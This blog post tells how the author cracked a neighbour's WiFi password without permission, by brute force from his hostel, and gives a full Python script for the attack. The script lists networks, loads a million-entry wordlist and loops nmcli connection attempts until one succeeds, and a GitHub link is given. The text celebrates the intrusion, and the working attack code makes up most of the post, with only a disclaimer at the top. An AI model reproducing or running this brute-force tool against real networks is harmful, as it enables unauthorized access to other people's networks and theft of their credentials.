How-I-hacked-cracked-my-1st-WiFi-network-Part-2
Any actions and or activities related to the material contained within this Website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. The authors will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.
Do good. Be Ethical. Happy Hacking
Part-2 how i hacked?
So Let’s continue my story .
It’s true story of mine 😁
When I started learning hacking (5 to 6 months early ) . I didn’t had any WIFI adapter (I don’t have it till now ) and my system is just a i3 7th gen 4Gb ram laptop (Till now ) plus i didn’t had any WIFI in of my hostel . As you know we need to download vm for practice and the ISO and zip files are huge (1 GB to 20 GB) and my daily data limit was just 2 GB. So the last option was just hack someone’s WIFI . But i didn’t had WIFI adapter for hacking with method 1 . But I was pretty good at scripting in python . So I just made a script that auto put password through terminal and brute force it till it got the right password and I hacked my 1st WIFI in this way it took around 19 min to get the password because the WIFI password was week . Then i just started using it but as I cracked the WIFI with 5GHz so I faced some issue like the range of 5GHz is less in compere to 2.4GHz and most important my phone doesn’t support 5GHz . So l done some for it ….
Let’s start the way …
Step-1 (Learning the commend )
So at that time I had recently switched to Linux (Ubuntu) . Linux users know that there is commend for every work n Linux so i just searched it how to connect to WiFi with commend line and I got it.
sudo nmcli d wifi connect {wifiname} password {word} ifname {intearface}
So after this i just used my python skill to automate this .
Step-2 (Scripting)
So let me explain how I wrote my code and how it’s work.
Importing
So to run commands we need to import os module .
import os
Scanning for networks
So to see all WiFi network around you , you just need a command
sudo nmcli d wifi list ifname {interface}
So it’s just look like
So lets add this to code .
import os
os.system("sudo nmcli d wifi list ifname wlp2s0 " )
Selecting the network to attack
So now we need to select the network for attack .
import os
os.system("sudo nmcli d wifi list ifname wlp2s0 " )
wifiname=input("select the wifi you want to bruteforce")
Making list of password
Since we need password to attack or brute-force the password.
So let’s make a password list.
password_list=[]
listfile=open("wordlists/10-million-password-list-top-1000000.txt","r")
for fill in listfile:
password_list.append(fill.replace("\\n",""))
so this will all every password from text file to list as well as remove all the blank spaces.
Now the code look like.
import os
password_list=[]
os.system("sudo nmcli d wifi list ifname wlp2s0 " )
wifiname=input("select the wifi you want to bruteforce")
listfile=open("wordlists/10-million-password-list-top-1000000.txt","r")
for fill in listfile:
password_list.append(fill.replace("\\n",""))
Final attack
So now everything is done now start coding the main function of the code .
1st we need to connect it with password from list.
for word in password_list:
print(f"trying {word} as password ")
os.system(f"sudo nmcli d wifi connect {wifiname} password {word} ifname wlp2s0")
But how to cheek if the password is right and exit the code at that time .
Since if you connect WiFi with wrong password is set an error and a success message on successful connect .
Let’s and this to code.
for word in password_list:
print(f"trying {word} as password ")
os.system(f"sudo nmcli d wifi connect {wifiname} password {word} ifname wlp2s0 > con.txt")
passcheek=open("con.txt","r")
passcheek=passcheek.read()
if "successfully" in passcheek:
sys.exit()
else:
pass
And this is the code with working features .
The time when it works and i got the password.
Want to see my happiness 😁
So let’s made it better.
Final code
So this was final code .
import os
os.system("sudo nmcli d wifi list ifname wlp2s0 " )
wifiname=input("select the wifi you want to bruteforce")
password_list=[]
listfile=open("wordlists/10-million-password-list-top-1000000.txt","r")
for fill in listfile:
password_list.append(fill.replace("\\n",""))
for word in password_list:
print(f"trying {word} as password ")
os.system(f"sudo nmcli d wifi connect {wifiname} password {word} ifname wlp2s0 > con.txt")
passcheek=open("con.txt","r")
passcheek=passcheek.read()
if "successfully" in passcheek:
print("Password cracked")
print(f"Password of '{wifiname}' is '{word}'")
exit()
else:
print(f"{word} was not the password")
I named it as AKDFI and uploaded it to GitHub
https://github.com/adarshkrdubay/AKDFI
And that’s How I hacked/cracked my 1st WiFi network…
Do good. Be Ethical. Happy Hacking